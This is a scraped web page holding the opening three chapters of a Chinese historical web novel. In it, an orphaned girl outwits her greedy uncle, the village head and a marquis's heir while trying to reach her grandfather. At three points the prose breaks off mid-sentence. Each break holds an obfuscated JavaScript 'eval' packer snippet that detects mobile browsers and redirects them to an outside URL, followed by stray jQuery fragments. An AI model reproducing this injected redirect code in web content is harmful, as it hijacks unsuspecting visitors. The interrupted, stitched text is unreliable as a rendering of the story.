《宿敌总想骗我起义》
1. 昔者与高李
暮春的雨丝缠上了岷山,吴家村的居民大多沿着河流住在山脚。
岷山不高,路却崎岖得厉害,山上除了土石就只有几棵结苦果的老树,显得半山腰处的那座气派宅子很是突兀。村民们只道是从前哪个富商闲着没事建的。
连日的霖雨将上了年纪的屋子泡了又泡,积水顺着柱子向下,淌过泥坑,没过少女单薄的草鞋。十五六岁的少女穿着单薄,独自坐在那屋子门口,看着可怜。但晏楚鹤她自己却是浑不在意,正笑嘻嘻地掰着手里的银票,翻来覆去数了一遍又一遍。
今儿看管她的吴老二一家全出了村,要给他那宝贝耀祖大儿子相看媳妇。至于晏楚鹤,大概是她装鹌鹑装得太像,吴家夫妇便放心让她一个人在家——她等着机会可等太久了,一上午就用最快的速度,将这家里能拿得动的物品全拖到镇子上典当一番,此刻正畅快着。
许是因为昨晚开始便被吴二婶逼得什么都不准吃——晏楚鹤几乎是第一时间捕捉到那阵冲入鼻腔的香气,她猛地嗅了嗅,这样冲,又极其勾引人味蕾的味道,不像是他们大夏人的食物,倒像是和大夏接壤,离吴家村不远的吐蕃炒蕃豆。
匿在雨声里的脚步声越来越近,晏楚鹤咽了咽,当即闪身退回屋内的一处角落,凝神倾听。
“当家的,咱们现在去那姓晏的老不死的房子,是不是不大好?”
说话那人声音沙哑,晏楚鹤一听就知道是吴老二媳妇,她吴二婶。另一人想必就是她那白眼狼败家叔叔,吴老二。
晏楚鹤原是吴家老大的姑娘。她爹爹入赘到了村外的富商晏家,娶了晏员外家中的千金。晏楚鹤这丫头虽然自幼就因身患怪病被吴家人嫌弃,但好歹也是双亲爱护,能在城里长大,比普通人富裕不少。
世事难料。一个月前,她一双父母行商至时遇到龙爬坡,被漫山泥石害死。按大夏律法,晏楚鹤同她家钱财,算来算去,居然都到了她爹爹的亲弟弟,也就是吴家村吴老二夫妇手上。晏楚鹤不禁冷笑,她给这两人做牛做马磋磨这一整个月,为的可不就是这一次。
每天早起天不亮就要去挑水劈柴,饭桌上永远只剩汤水泡的稀饭,父母留下的一点遗物全被收走。那对夫妇天天吆喝着要把她低价卖给村里的老光棍。她不过是把他们那点储蓄拿走,让他们无家可归,已经很不追究了。
这山上的宅子是她外祖父晏员外建的。他老人家不久前去江南做生意,平日也不住这山里——晏楚鹤贴着墙,默不出声,她外祖父又没死,这房子和吴老二夫妇无关。她来这里是为了搜罗些钱财,那两人又能是来干什么好事?
晏楚鹤略一沉吟,随即翻身跃上屋内横梁,村姑打扮的少女身形瘦削,身手却很是敏捷。
房门“吱呀”一声推开,吴老二夫妇一前一后跨入门槛的举动被她尽收眼底。
“不过是借她家宅子做咱儿子的新房,那个晏丫头如今吃穿都用我们的,能有什么意见,”吴老二满不在乎地说道,“你不也听见里正说的,算算时间,镇西军的人现在已经把姓晏的丫头给带走了。还怕啥?”
“我,我就是怕晏员外——”
“你放宽心,晏员外的外孙女,咱们的亲侄女是被送去吐蕃伺候和亲公主,过好日子嘞。这机会,那些官家小姐求也求不到,偏生她好运气,镇西军的大人见了她那张脸,点名要她。”
晏楚鹤屏吸听着,心下了然。想必今早来的那些人就是镇西军的人,她只当是吴老二的债主,像以往一样避开了。
按着两人的话,问题居然出在她这张脸上?虽然她样貌在这村中算得上极佳,吴老二夫妇每日都在计算把她卖给哪个老光棍值钱。可那也只是和村里人的比,晏楚鹤见过真正的千金小姐,肤光胜雪,气质绰约,远比她更合适。
正纳闷着,又听到吴老二继续说道:
“再说,那晏员外也活不久了。”
“当家的,这话不能乱说!我上次见那老不死时,他身体硬朗着呢。”
“哼,你不知道!要对付那死老头的人多得去了——你那是什么表情”
“晏丫头——”
“晏丫头什么晏丫头!”吴老二察觉不对,顺着吴二婶指着的方向猛地回头,晏楚鹤正倚在墙角,眼弯似月,笑意却止于唇角。
平日里被他们呼来喝去的少女,竟悄无声息地出现在他身后。
“贼丫头,你什么时候来的,听了多少,”吴老二后退一步,但仍然不把她当回事,“我不是和你说了吗,没把活儿干完不准离开院子!”
晏楚鹤没有理会,只拍了拍上衣的灰尘,和平日的神态全然两样。吴老二见不得她这样子,作势就要冲过来,晏楚鹤却随手一抄,她自制的刻刀在这时派上用场。
“我不过是来我自己家的房子看看而已。”
“哼,你的房子?这房子是你的又如何?”提到房子,吴老二想起此行来意,又恢复了底气,瘦削的脸上写满了不怀好意:“你爹妈死了,这宅子如今合该由长辈收着。”
"是啊,再说你这丫头吃我们用我们的,要你一座房子怎么了?你爹娘走时连口薄棺都置办不起,若不是我家接济——"
“接济?”晏楚鹤双眸一凛,哑然失笑,所谓接济,是指把她娘的嫁妆大肆挥霍?接管她外祖家商铺赔个精光?还是低价卖了她爹的田地?这算什么接济?
足足浪费她一个月的时间。
她指尖一转,随手挽了个刀花,那副眉眼弯弯,却毫无笑意,唇角微抿,似笑非笑的模样反倒叫人心底发寒。
吴老二猛地僵住,吴二婶更是连退几步,哆嗦道:“姑娘家家的,玩这些刀啊枪啊是做什么。”
“把镇西军的事,还有要害我外公的事情说清楚。”
“你这丫头,死到临头还要污蔑我,等我待会下山带你去见里正,让他——”
吴老二显然一时半会不会承认什么,不过不要紧。
晏楚鹤垂下眼,像是叹气一般无奈地走近两步:“吴叔,你别这样……我其实……”
吴老二还以为她要服软,正要冷笑,谁料下一秒——比他低一个头的少女出手迅速,动作干脆。她不知从口袋里洒出什么奇怪的粉末,另一手直奔吴老二颈侧。
男人瞪大眼,清楚地感受到自己的力量正在流失,吴二婶还没反应过来,正要尖叫,就被一个干脆利落的肘击敲在喉口,整个人闷哼着跪倒。
两人同时软在地上。
任谁也没想到这个村里女娃身手了得,要知道她父亲姥爷都是半点武功都不会的商人。再说,最注重声誉的晏员外怎么会有一个出手就是下毒的外孙女。
逼问,打晕,拖进密室,上锁——预谋好些日子的计划终于顺利实现。
晏楚鹤花了些力气,又稍微布置一番。冷静后,脑子里除了刚刚他们聊的事,无端端又蹦出几句她从小听到大的教条,诸如以德报德以德报怨之事。心里莫名有几分歉意。
可再想到这等人如何如何无耻,顺着温良恭俭让恐怕早就和爹娘一样被害死了。对了,圣人言‘见义不为,无勇也’,她这一动手,也算不得违道。
看天色,她刚刚耽搁太多时间,山脚的村人恐怕已经发现她把吴家的东西也一一变卖了,下山的路就一条,这吴家村是怎么怎么也绕不开的。
是以,晏楚鹤装作寻找躲藏之地犯了难的模样,故意露出破绽,让村中几名最爱出头的种地汉子瞧见。
“晏家女娃,你偷了你叔婶的钱财居然还敢出来!”
赶来的人中,为首的是一墨发老者,他是吴家村和旁边村子百余户人家的里正,年过五十,在吴家村颇有名望,平日为人和善,对村民很是关怀。对晏楚鹤嘛——这个他想卖给镇西军还没卖成功的丫头,此刻当然没什么好脸色。
他正要开口,晏楚鹤一反常态,掐了把腿上的伤口,泪水随着痛感一并用上。她连忙哭唧唧地跪倒在地,低着头遮掩着神色:“冤枉啊里正大人,我从没有偷过我叔叔家的钱。”
里正虽然和吴老二合谋,但眼下人多,晏楚鹤又演得如此情真意切,他是不能先发
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790758|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
难,便也装作惊讶:“你有什么隐情不成?”
“是我叔叔婶子要我把家里能卖的都卖了,钱不在我这,你们大可以搜身。”
“荒唐,且不说他们为什么这么做?你如此有恃无恐,难道不是把钱藏在了别的地方!”
“他们甚至要把我卖给镇西军!”
先前低声交流的人群明显要吵闹些。他们这样的农户可不会把孩子卖去军营,钱少事又多又苦。
再加上吴家夫妇不久前还说继承晏家的财产,在全村面前耀武扬威,说要大家叫他吴老二吴员外呢。如今居然这么着急搞钱,又是要干什么?
大家知道吴老二那家人的品性,讨厌晏楚鹤这个怪丫头把她卖了也能理解,为什么这么着急卖掉全部家当呢?
瞧着晏丫头哭得梨花带雨的模样,这么个怪病缠身的丫头,哪来的本事逃到城里卖东西,就算敢,也不可能骗过他们这儿所有人。
更诡异的是,吴老二夫妇到现在还没出出现。
是啊,好难猜啊,晏楚鹤压下笑意,在乡亲们的一句又一句关怀中,像是终于下定决心一样,声音颤抖地开口:“里正大人!我要状告,我叔叔他勾连前朝余孽!”
全场气息一滞,
这可不能拿来开玩笑!
当今局势动荡,凡与前朝余孽有牵扯者,举报便是五十两,抓拿更能得百两赏银。普通百姓哪能接触到这等大事?可若是突然暴富又愚蠢的吴老二夫妇——那不奇怪了。
于是,抓拿晏丫头的目标迅速改为寻找吴老二夫妇。
晏楚鹤深知细节做到位的重要性,不忘乘着兴头演周全,泪眼婆娑地又加了几句蕃编的细节,把这些人吓得不轻。
“无耻!无耻!”老里正装模作样骂了几句,扭头就去安抚一众村民。村民们起先只是关心好奇别人家的事儿,未曾想又牵扯到全村安危,一时之间人心惶惶。
好在老里正有一套,寥寥几句话切中要害,听他的意思,“那吴老二夫妇实在无耻,大家一定要尽快抓到。
还有晏丫头,虽说抓住吴老二夫妇这两个奸细能换钱。可吴老二同镇西军的交易既已定下,若是处置不当,连累全村,岂不糟糕?为了大伙平安,晏丫头还是要交出去。”
晏楚鹤当即装作无法接受,抬高音量抽泣道:“我不要和士兵走!他们要把我卖到吐蕃啊!那里要是和大夏打起来,我该怎么办啊!”
先前还在骂她的邻人这时果然上前了。好些个曾妒她容色殊异、出身不同的邻人,如今见她落得发配吐蕃为奴的下场,居然生出几分快意的慈悲。
这时候施些虚情,既能显自己仁厚,又可以衬她晏楚鹤命贱如草芥,何乐不为?
“晏妹妹,你不要担心,我会记挂你的。”“是啊,是啊,我们都会去庙里替你求好运的!”“哎,吐蕃也好呀,虽然打不过咱大夏,但我听说……”“你家是不是没炭火了,回头上我家拿。”
当然,要找这些慈悲的村民们借钱替自己赎身是不可能的。
“我那叔叔婶婶把粮食都带走了,我已经饿了好多些时日——”她话尚未说完,适才抓小偷时骂她最凶的大叔已经往家里跑了一趟,给了她抓了足足一把粗米。
或许晏楚鹤的可怜样扮的很是成功,又或许是有人起到了带头作用。人们突然慷慨起来,向她分享着自己家的作物,好像比别人多分一粒就显得自己更高尚一样。这场景,倒也算是当朝尚儒之风在乡野间难以一见的体现。
她那位神仙模样的郎君不是最爱宣扬这些吗?思及佳人,晏楚鹤虽然百感交集,也不禁笑得更舒心,更加心安理得地收下——她这是在帮村人践行仁义呢。
吴家村百来号人,每户给一点,看这分量……啧。
蚊子再少也是肉啊。晏楚鹤用布袋一一收好:老里正给的最多,是足足半盘的炒蕃豆。他不该这么好心才对。
……
她绝对不是被卖做陪嫁丫头那么简单。
买她之人的线索……想来就在这蕃豆中。
2. 晚登单父台
从一把蕃豆可以推算出的东西并不少:微凉的温度,还算新鲜的味道,估计是两三天前炒出的。
吴家村里虽然也有炒豆子,但这蕃豆的味道即便用水泡去调料,终归还是要辛辣些。
蕃豆自然是蕃人产的……岷山连着吐蕃藩国,是公主和亲路上的必经之地,前段时日官兵来往频繁,连他们村都被镇西军征用。吴老二和里正估计就是在那时候和镇西军的什么人做了交易,得了好些蕃豆。
晏楚鹤今夜住在里正家的客房,依旧装得柔弱又安顺。老里正却没掉以轻心,特地请了邻人监视,还美其名曰说要保护她。
说起来,里正他老人家其实也不解得很,为什么镇西军会点名要着晏家丫头。他们如果只是要颜色好的姑娘,城里娇养的丫头一抓一大把,何苦来这村里。
晏楚鹤她娘虽是远近闻名的病西施,她爹却是农家出的读书汉,眉目是男相的端正。
晏丫头那发亮的一双杏眼便是像极了她爹,叫他看一眼便心虚。可瞧着她今日的作派,那蹙着眉,委屈地抬起眼时,又真真得了她娘那位病西施的真传,教人不好直接训斥过去。但如果是要她娘这类的美人,该往晏员外家里去才是,那老不死最不缺的就是女儿。
晏楚鹤也正烦恼着……只能走一步看一步了。
她在搞清这儿情况后故技重施,偷袭放倒门外的看守,又用攒下的药晕了里正的宝贝儿子,将他裹在被子里头做自己的替身。这才从里正家离开,一路向南,从一处废庙将白日里藏好的银票取出,再沿着河边抄近路去镇子上换了干粮和一车物件,顺带又买了头驴拉车。
她先前种了些速成的药葫芦作迷药,葫芦壳做成雕物放在镇上寄卖,现下干脆一同带到下个城镇,那儿商业发达,定能卖个好价钱。
晏楚鹤对自己唯一拿得出手的雕刻技艺相当自信。这是从前那位神仙模样的郎君教的。说来,她防身的武艺,赚钱的技艺全是从那人身上学的。不过他讲的最多的,还是那些儒家为人处世之道,也亏她脑子好使,居然一字不差地全都记下了。
可如今她真地在乡野间打探消息,那些子曰之乎者也却是派不上用场。晏楚鹤自然有些唏嘘,好在她手头上线索充足:
吴家村的村民们为了寻找勾结前朝余孽的吴老二夫妇,那些和吴老二接触过的人被吴家村的居民一股脑挖出盘问,里正,镇西军士兵,和吴大柱订婚的那家人,还有从洮阳城来的商人……
镇西军那边不能贸然调查,晏楚鹤便从商人入手,花了一天一夜,辗转到了洮阳城,这儿位于大夏和吐蕃的交界,三面并枕洮水,地势险要,易守难攻。不过在如今和缓的局势下,商业贸易频繁,过段时日和亲公主也会由此入蕃。
是以,前段时间先是镇西军的队伍,再是益州都督长吏经过,浩浩汤汤,洮阳城里好不热闹。晏楚鹤把驴车卖了,拿剩下的钱在一间客栈暂且落脚。
单从吴老二联系到的小喽喽向上查进展缓慢,只怕还要很久,可这样整日带着帷帽担心被人利用的日子却是一天比一天要煎熬。
晏楚鹤最是耐不住性子的,她将城里现在还在的大人物打听一番,京城来的公子哥,镇西军将领的小舅子,半年来一次的蕃人富商。
单看这三家府邸门口的小厮的模样就能判断个大概,如今线索有限,想确认到底是不是这个人要利用她——其实也简单。
于是,晏楚鹤挑了个人少的夜晚,把帷帽摘了,大摇大摆地上门求见。
——
雨夜,
英俊少年郎正端坐在桌前,身形笔挺,盘起的发髻却有些松垮。他正目光专注地落在桌上,眉眼如雕,鼻梁高挺,举手投足间都透着端正与从容,偏偏眼底不时闪过的戾气将他骨子里那股离经叛道的本性完全展露,让国子监的先生见一次惋惜一次。
案上铺开的,也不是寻常儒生读的那些经典,不过是张益州的路程图。
他父亲武昌侯如今卸了中书令,遥领了益州大都督,虽说只是虚官没什么实权,也算高升。他路斐身为武昌侯世子,随益州都督府长史往西南边陲替他父亲探望故友,顺带寻些讨当今圣上欢心的稀奇物件过寿。
这是明面上的。路斐垂眸,视线沿着桌上的舆图又转了一圈。皇帝老儿这时任他父亲作为益州都督,管辖夏蕃两国交界处,想来也有让他们护送和亲公主去吐蕃之意。
和亲公主一事,就要说到当今圣上子嗣稀薄。此番和亲公主并非大夏皇帝亲生,而是一番政治博弈后,派了前朝遗孤永宁公主去。她是前朝皇室捧在手心上的独女,德才貌样样兼备,以显我朝对吐蕃重视。
可惜啊,那永宁公主还没到益州便遇害——消息现下只在镇西军中心传开,皇帝的耳目都未曾知道,吐蕃那边自然也没动静。
他桌上的另一封信,正是截自镇西军。那些蠢材怕担责,居然想到狸猫换太子的招数。说是寻得一村姑,形貌与永宁公主神似,或许可以加以利用。
少年勾起嘴角,他确定和亲公主遇害的事左右不过是那几家人所为。他对这些人向来不喜。再加上他爹如今式微,眼下这个乡野村姑的存在倒是便宜了他,他正愁没机会在吐蕃插入自己的眼线。总归是多一份出路。
只是……该用什么手段?若按镇西军的做法,用家人胁迫这孤女,像是给她家人下药把她逼入绝境。路斐不屑地笑出声。
只能使出这样无能手段的将领,难怪大夏的边防这般脆弱。再说,他才不信一介平民能顺利扮作公主,这可不是什么话本。
路斐筹划的自是另一条道路。既然王家那些人要对和亲公主下手,恐怕这位公主背后真的有前朝势力。
因此,他只要先找由头管住吴家村的镇西军,再趁着夜色派人直接抓来,将其谎称为前朝公主,以此为饵,若能诱出前朝残党,也算大功一件。
他正盘算着,忽听脚步急促,下属满脸遗憾地闯进来……
“什么?人跑掉了?”
“回世子爷,小人赶到吴家村时,那村姑已经……”
路斐还未细想,房门外又传来小厮慌张的通报:“世子爷,门外,有个女子求见,”说话的小厮像是见了鬼一样,“她和死去的永宁公主长得一模一样——”
呦,居然自己找上门来了。路斐又坐回位子,他饶有兴趣地换了个舒服的坐姿,他当然不信什么鬼神,也清楚永宁公主死讯的真假,此刻心里全是对这找到他头上的村姑有些好奇,便让小厮带其进来。
烛火摇曳,帘影微晃。
“拜见这位公子,您唤我楚丫头就是了。”晏楚鹤笑得轻松,随意行了个
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790759|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
礼,动作松垮,衣袖都挥到他案上了,可幅度位置又十分标准,路斐只觉烦躁,却又不敢小看她。
她背后会是什么人?
隔着帘幕,晏楚鹤倒是打量不出此人神色,她无所谓地笑着:“我背后有人的话,可不会找您,我是来谈合作的。”
晏楚鹤顿了顿,将自己的猜测一并说出:“我这张酷似永宁公主的脸,如果只用来诈出前朝余孽,未免也太浪费了。”
见帘子后面的人影顿住,年轻男子的声音传来,清澈透亮,丝毫不像是要利用她这弱女子的人会发出的声音。
“你想代永宁公主和亲?”
晏楚鹤心生一计,点点头:“我家原先是富商,您一查便知,一朝意外我父母去了……我也只是贪图从前的富贵生活和钱财罢了。”
她装作误会了镇西军的样子:“镇西军虽告诉我永宁公主的事情,却像是要连我一起杀害以绝后患似的。收养我的长辈每天的打算都是把我嫁给村里光棍,
我寻思,嫁去哪里不是嫁,您若能帮我嫁去吐蕃,一定能让您顺心顺意。”
路斐托着下巴,听她的表述确实合理,便随手掷出一枚金元宝,这村姑接住时表现出的那副贪财样更是叫人索然无味。他转身对那位引晏楚鹤进门的侍从道,“阿顺,带这姑娘去偏房歇下。”
“那就算了,”晏楚鹤不过拿到个金元宝,便是装也不装了,她此行原只是想确认自己的猜测,眼下有了意外收获便也见好就收,只骗这点儿,按对方的身家,大概不屑于与她过多纠缠。
就算纠缠也无妨,晏楚鹤随意伸展着臂膀,她有恃无恐的理由可不止逃跑的武艺。
路斐见她突然神态大变,只觉烦躁到了极点,竟有片刻喘不过气来——这年头,连一个乡野村姑也敢戏弄他?
名叫阿顺的小厮立刻会意,上前一步要去扯住她的袖子。谁料晏楚鹤脚尖一挑,身形一偏,不是往外逃,反而直往屋里退。只听“哐哐几声,铜香炉滚到地上,溢出缭绕青烟,连带着那帷幕被她一带,“哗啦”一声整个坠落。
晏楚鹤见到自己从进门后就一直好奇的那张脸,帘后的少年郎大概只比她大一两岁,眉目间却已褪去青涩,脸颊上正因不明原因地泛红,五官清隽,神态温润,眼尾微挑,除了眼底的那抹恨不得杀了她的怒意,其他都和记忆里的那人一样明艳俊朗。
见晏楚鹤离自家主子那么近,其他几个护卫再急也不敢贸然动手了。这个点他们不少人都打瞌睡,谁能能想到,一个村姑居然敢在他们眼皮子底下对世子爷下毒。
“哼,你——”路斐猛然开口,却喉头一紧,话未说尽。他已然感觉胸腔发闷,四肢微颤,那熟悉的灼痛令他瞬间明白。
如果他没记错,这是岷州一带常见的药葫芦配的粉,前朝哪个将军用其制敌,虽不致命又确有奇效——她想必是在刚进门行那个礼时,将这粉末撒到他桌上,自个儿提前服了解药。
这女人……究竟要做什么?
晏楚鹤像是才回过神,盯着眼前这张熟悉又陌生的脸,大概是自己这么多年以来的美化,总觉得哪里和记忆里相差甚远。可这毕竟是自己多年的仰慕……
“公子,”晏楚鹤的目光转了一圈,忽地专注地看着他,甚至带着几分刻意伪装的娇羞,“明日有空吗?”
3. 寒芜际碣石
晏楚鹤之所以这般自信,都要归结于五岁时与那人相遇。
那年夏天久旱无雨,外祖父收留了一个逃荒的老木匠。她外祖父随手接济了个逃难来的老木匠。
晏楚鹤还是第一次见到那样精妙的木雕,惊得合不拢嘴,说什么都要学。那老人家却冷着脸,只道这手艺传男不传女,便不愿再搭理她这个女娃娃。
她心里郁闷,一回头就把这事绘声绘色地讲给父母听,娘当时半倚在床头,手指摩梭着被角,听得入神,忽而笑道:“楚鹤,依娘看,那老人家估计担心你只是心血来潮一时起意,你磕个头总能成。”
她娘的脑回路虽和常人不同,但确实有奇效。晏楚鹤的世界里,娘虽然缠绵病榻,说的话却比爹要管用太多。是以,晏楚鹤次日一早便跑到那老者跟前,连磕了好几下,求他收自己为徒。现在想来,娘终究是低估了这类人的无耻。那死老头收了她外祖父的钱还好意思摆谱,作出副油盐不进的样子,竟是一点手艺都不肯教。
她憋了一肚子的委屈跪在原地,正犹豫要不要继续耗着,忽地见一青年自院外缓步而来。
那人衣着考究,样貌同穿着一样贵气,眉峰入鬓,目若星河,偏那身白衣的温润又盖住他身上的冷傲,倒比她现在在洮阳城找到的这位小郎君要多几分出尘之意。
“别跪了,起来吧。”
她那时迷迷糊糊,只当他也是姥爷的客人。任由这神仙长相的玉面郎君吩咐丫鬟给她上药。晏楚鹤还是头一次在这偏远县城见到这样的人物,不由得瞪大了眼,多瞧了瞧。
若只是个长相不错的美男子,她也不至于这么多年念念不忘。晏楚鹤还记得那人开口的第一句话——他故意将腰间的玉佩取下,蹲下身递给她:
“小丫头,你看我这门雕刻的技艺,不比那老头差——怎样,想不想学?”
晏楚鹤伸手一把接过玉佩,手指沿着那上面的纹路一遍又一遍摩梭,越看越喜欢。
再之后,她学着他的样子,拿着刻刀……她自幼就有着记忆力过于常人的怪病,过目不忘并没有帮到她多少,反而是夜夜难寐,做什么事都心思纷乱,专注不了。
惟独沉浸在雕刻时不同。天地间有如静止,所有嘈杂的影像都退到远处,目之所及只剩下刀尖,木纹,所能感受到的,也只有她自己的呼吸。
那样超脱世外的感受,她直到醒来后都念念不忘。
娘只当她是磕头磕坏了脑子,安慰她外祖父也已经把那个木匠赶走了,叫她别再多想。晏楚鹤倒是想问那玉人模样的神仙哥哥,娘只笑着说她发痴,他们家里从来都没有过这号人……大抵是磕头磕晕后做的梦吧。
偏偏五岁的晏楚鹤记得住方才梦中的每一处细节,男人衣服上的纹路,发髻的样式……一切都是那样逼真,她才不相信是梦哩。果不其然,当晚她又梦到那神仙模样的青年,他依旧是一袭白衣,面上却带着几分狡黠的笑意:“我既然答应教你,自然会教倒底。”
她安心了不少。
此后,武艺、雕刻、药理……那些她被困在家中鲜少能接触的,他都毫无保留地在梦中教给了她。
晏楚鹤原是不解,直到前年开始读话本子,什么《西厢记》《桃花扇》全都看了遍,只觉不过如此。直到见了《牡丹亭》,那书中人物故事倒是和她莫名契合……晏楚鹤大概明了,她与那位神仙□□后有缘,因此能在梦里相遇。
杜丽娘的话本她读了一半,囫囵吞枣看了一半,印象最深的便是丽娘梦醒醉卧石上,森森寒意……晏楚鹤梦醒时也一样,自从一个月前父母走商路离世后,她再也没梦到那人了。
没想到此刻居然能在现实中相遇。
晏楚鹤看着眼前微怔的少年,连衣上的图案与腰间玉佩的纹路都与梦中无异。
错不了。倒吸了口气,晏楚鹤眨了眨眼,强忍住鼻尖处的酸意后,便俯身,利落地双指掰开眼前男子的嘴,将解药塞了进去,动作干脆,一气呵成。
她心中总归是感激的——纵使这人和她记忆中并不全然相同,又或许只是巧合。但这么多年以来,蒙其教诲所得良多,于情于理也当报答一二……当然,嫁人是不可能嫁人的。
晏楚鹤甚至愿意把自己这几天胡作非为、有恃无恐的理由和盘托出。
总之,在得到对方愿意见面的答复后,晏楚鹤难得没有失眠,次日一早便爬起身,按约定的时间,兴冲冲地跑了过去,却见昨日还车马盈门的府邸,今儿已经杳无人影,人去楼空。
——
“没有线索?!”
“姑娘,你要找的那人本就刻意隐藏了自己的身份,小人只知道他今早一大早便带着下人们走了,像这种京里来的贵人,给小人一百个胆子都不敢打听。”客栈里自称包打听的家伙眨了眨眼,笑得油滑,“不过我瞧姑娘这气质,若是以后大富大贵,想找一个男的不算什么,我这刚好有发财的买卖——”
晏楚鹤拒绝了包打听骗钱的推销,又退了客栈的房,到市集把胡芦雕低价卖掉,连带着把前几天刚置办的车也给卖掉,只留下那头小青驴。
稚气未脱的少女骑着驴,身后还绑了好些行李,顶着如此滑稽的行头,偏她神色凛冽,竟生出股少年英气。当然,晏楚鹤心底全无纵驴疾行的快意。她想不通。
那人昨日还好好的,今日突然离开,总不可能是怕了她的缘故,只怕是昨夜里,这洮阳城又有什么变数……极有可能是她猜测的事情可能提前了。
战事,要来了。
她很肯定,和亲不过是双方自我麻痹的手段,引发冲突的借口。
那场战争她见过太多次了。
她在梦中跟着神仙哥哥学习雕刻,也在梦里看过蜀地的未来。
她的‘梦’很特殊,与其说是梦,不如说是一遍又一遍经历将要发生的现实。
同样的山川、同样的城池、同样的人。
从和亲事变到益州沦陷,从岷州到益州的一切,将发生的战火始终烙印在晏楚鹤心中。
她这两天真的到了洮阳城,出城的人比进城者多上数倍,街头巡逻的兵士多是被征来的老弱,眼神浑浊,脚步虚浮。军饷恐早已流到了那些达官贵人手上……梦中的情景在现实中重演,洮阳城估计撑不了多久的。
她在吴家村肆无忌惮,到了洮阳城昨晚又敢对那公子下药。不过是因为确定战事要来,届时人人自危,谁还顾得上她这一点小插曲。
她眼下的当务之急,是尽快南下,赴益州去寻外祖父。她和父母原先就和外祖父一同住在益州。他老人家前不久去江南做生意,行踪不定,若她爹娘的死讯传过去了,这会儿怎么也该到益州的宅子了。她只需抵达旧宅,静候便是。
就怕路上出事。
她外祖父是有名气的商人,大家敬重他叫他晏员外。他有三个女儿,唯有二女儿,也就是晏楚鹤她娘择婿入赘。他自个倒是岁数不大,不过五十出头。
晏楚鹤从吴老二嘴里得知要害她外祖父的人自京都而来。再加上她自己这些天的打探,想来与镇西军,还有昨日打算利用她的公子都没关系。线索也不是没有……她父母这次走的商路,便是她外祖父原本打算走的路线。老人家临时起意改了线路,有心磨砺她爹爹,没想到成了这样的结果,叫她父母给姥爷挡了枪。
风声猎猎,叫人没办法安心睡觉,晏楚鹤独自倚在破庙的横梁上,好不落寞,四下打探,只那条小青驴也没睡,伏在角落,一双圆眼睛正滴溜溜地看着她,比那吴老二还通人性些。
哎,现下梦里再也没从前那位无所不知的神仙哥哥,她想着,脑海里泛起的却是今早不告而别放她鸽子的少年郎君。世上怎会有如此相似的人。真是奇也怪也。
……
好想再见一面。
晏楚鹤看着庙顶的缺口露出的月牙,心思又回到外祖父的事情上。如今见不到神仙哥哥,凡事都要自己多想几遍才算保险。
知道她外祖父这次安排的人不多,到底谁要害她家,和外祖父汇合后从中调查便可。晏楚鹤换了个思路。
如果外祖父死了,会发生什么?
……最先倒霉的,恐怕是小姨。
听她娘说,小姨当年不顾众人反对,执意嫁给县丞做续弦。那时闹得满城皆知,她与两位姐姐反目成仇,婚后也屡生事端。家中众人唯有外祖父仍念着父女情分,常与那官老爷来往。
但,若外祖父一旦身亡,依照朝律,这位县丞非但得不到半分家财,反而会因失去与晏家的商路往来少了笔收入。届时,她小姨的处境恐怕会尴尬。
这样一想,要害她外祖父的人,莫非是冲着小姨来的?可她小姨平日不过在家清账,鲜少出门,哪来的仇家不仅手眼通天,还恨她恨成这样,不惜做出伤人性命的勾当。有那种本事的人,又怎会在意她那困于后宅的小姨。
……念及于此,晏楚鹤改了方向,她一面寄信到益州成都县的宅子,留给外祖父,自己则是先去拐了个弯,绕到陇西县稍作停留。
岷州一带位于大夏国与吐蕃交界,自古以来都颇受重视。吴家村在的当驿县便是控扼大夏国南北商道的要隘,洮阳城则直通吐蕃,是往来贸易的门户。而她如今要去的陇西县,更是传闻中,大夏出产良马的重镇,驻兵严密。她那位小姨,就嫁给了陇西县的从九品县丞。她刚好做一回打秋风的穷亲戚。
五日后,晏楚鹤抵达陇西时,天色早已沉下去,驴儿也累得不行。她跑到还没关门的几家店里扫荡一番,打点完已是三更,又是彻夜未眠。
她母亲留下的东西,都在一个月前被吴老二家卖了。那场意外实在突然,他们一家本就是游商路过岷县,要不是她在吴家村旁山偶遇了块极有趣的大石,说什么也要雕刻完再走。她爹娘宠她,便让她留在父亲的老家,顺带处理些琐事。爹娘则是先一步上路,于是就遇到了那场人为的龙爬坡。
再接着,就是她身无一物,连同家产被官府判给了吴老二家抚养。药葫芦的成长需要一个月的周期,她也等上了一个月。
她不确定自己的计划能否成功,所以选择最保险的方案。
哎,谁能想到一个月内,吴老二夫妇一个只知道赌博,一个资助无底洞的娘家,三两下就把他父母的家产给花光了。这么想,只是被当作前朝余孽抓起来也太便宜他们了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790760|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
